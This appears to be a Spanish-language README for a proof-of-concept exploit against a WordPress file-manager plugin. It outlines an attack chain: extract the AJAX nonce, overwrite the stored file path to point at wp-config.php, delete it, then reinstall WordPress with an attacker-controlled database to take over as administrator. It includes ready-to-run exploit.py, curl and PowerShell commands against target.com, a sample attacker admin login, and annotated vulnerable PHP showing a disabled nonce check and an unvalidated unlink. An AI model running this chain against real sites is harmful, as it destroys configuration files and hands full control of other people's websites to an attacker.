1. Detectar el plugin y la subida de invitados habilitada
2. Extraer automáticamente el nonce AJAX de la página frontal (campo de entrada oculto)
3. Subir un archivo como invitado O forzar por fuerza bruta un ID de entrada existente
4. Sobrescribir wpfm_dir_path mediante la omisión por cadena de consulta → apuntar a wp-config.php
5. Activar wpfm_delete_file → unlink(wp-config.php)
6. WordPress entra en modo de instalación (setup-config.php)
7. Completar la instalación con una base de datos controlada por el atacante
8. Iniciar sesión como administrador → toma de control total

# Instalar dependencias
pip install -r requirements.txt

# Exploit totalmente automático (nonce auto-detectado)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Solo detección
python exploit.py -u http://target.com --detect-only

# Con nonce manual (si la auto-detección falla)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# Con proxy de Burp
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Configuración personalizada de la base de datos del atacante
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

URL:      http://target.com/wp-login.php
Usuario:  shac1x
Contraseña: Sh4c1x_Pwn3d!

bash poc_curl.sh http://target.com

.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// Cuando la subida de invitados está ACTIVADA → !$allow_guest = false → la comprobación completa se OMITE

function delete_file_locally() {
    $file_path = $this->path;  // desde el metadato wpfm_dir_path - SIN VALIDACIÓN
    if (file_exists($file_path)) {
        unlink($file_path);    // ELIMINACIÓN ARBITRARIA DE ARCHIVOS
    }
}

function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // respaldo: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // SIN canonicalización, SIN comprobación de realpath
}